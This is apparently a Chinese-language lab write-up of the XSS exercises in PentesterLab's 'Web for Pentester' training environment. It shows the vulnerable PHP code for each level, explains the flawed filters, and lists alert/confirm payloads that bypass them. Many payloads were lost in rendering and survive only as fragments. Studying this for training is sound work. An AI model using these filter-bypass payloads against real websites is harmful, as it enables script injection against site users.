Web For Pentester1 -XSS


官方地址:PentesterLab: Learn Web App Pentesting!

Web for Pentester 也是一个web的靶场,如下图

XSS1:

源代码:

<?php
echo $_GET["name"];
?>

解释:无任何过滤,直接插入payload即可

paylod:

XSS2

源代码:

<?php

$name = $_GET["name"];
$name = preg_replace("/标签进行了替换,但是没有区别大小写,可绕过

payload:

">

"> 

XSS3

源码:

<?php

$name = $_GET["name"];
$name = preg_replace("/大小写尽心了过滤,因此可通过起标签绕过

paylod:

">//

XSS4

源码:

<?php require_once '../header.php';

if (preg_match('/script/i', $_GET["name"])) {
die("error");
}
?>

解释:这是一个正则匹配,匹配到script字符串,就反馈error,因此可以绕过

Hello <?php echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>

payload:

'"

XSS5:

源代码:

<?php require_once '../header.php';

if (preg_match('/alert/i', $_GET["name"])) {
die("error");
}
?>

Hello <?php echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>

解释:对alert字符进行了过滤,因此可以通过String.fromCharCode()编码其他标签饶过

payload:

>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41))</script>

'"

XSS6:

源码:

<?php require_once '../header.php'; ?>
Hello

<?php require_once '../footer.php'; ?>

解释:这次是在script标签内的,因此可以直接插入script代码,或者闭合script标签之后,插入代码。

payload:

hacker";alert(1)//

hacker"-(confirm)(1)-"

hacker

hacker">

XSS7:

源码:

<?php require_once '../header.php'; ?>
Hello

<?php require_once '../footer.php'; ?>

解释:

htmlentities() 函数把字符转换为 HTML 实体,然后再输出单引号修饰的 a 变量中。htmlentities()会将双引号" 特殊编码,但是却它不编码单引号',恰巧这里是通过单引号'给 a 变量赋值的,所以依然可以通过闭合单引号'来弹窗

payload:

hacker';alert(1)//

hacker'-(confirm)(1)-'

XSS8:

源码:

<?php
require_once '../header.php';

if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>


Your name:

<?php

require_once '../footer.php';

?>

解释:

通过POST传入,htmlentities()HTML实体化编码,基本没得利用,但是注意下那个$_SERVER['PHP_SELF'];

$_SERVER['PHP_SELF']简介

$_SERVER['PHP_SELF'] 表示当前 PHP文件相对于网站根目录的位置地址,与 document root 相关。

假设我们有如下网址,$_SERVER['PHP_SELF']得到的结果分别为:

http://52php.cnblogs.com/php/ : /php/test.php

因此,可以使用 $_SERVER['PHP_SELF'] 很方便的获取当前页面的地址:

$url = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];

payload:

/">//

http://10.10.202.152/xss/example8.php/">//

XSS9:

源码:

<?php require_once '../header.php'; ?>

<?php require_once '../footer.php'; ?>

解释:

直接通过location.hash传入参数,然后往网页中写入,这样很不安全,可以直接通过这个属性往网页中写入 JS 代码。要了解这个location.hash属性

payload:

#>alert('XSS')</script>

备注:在IE浏览器下课触发Chrome和火狐是无法触发的

完结!

相关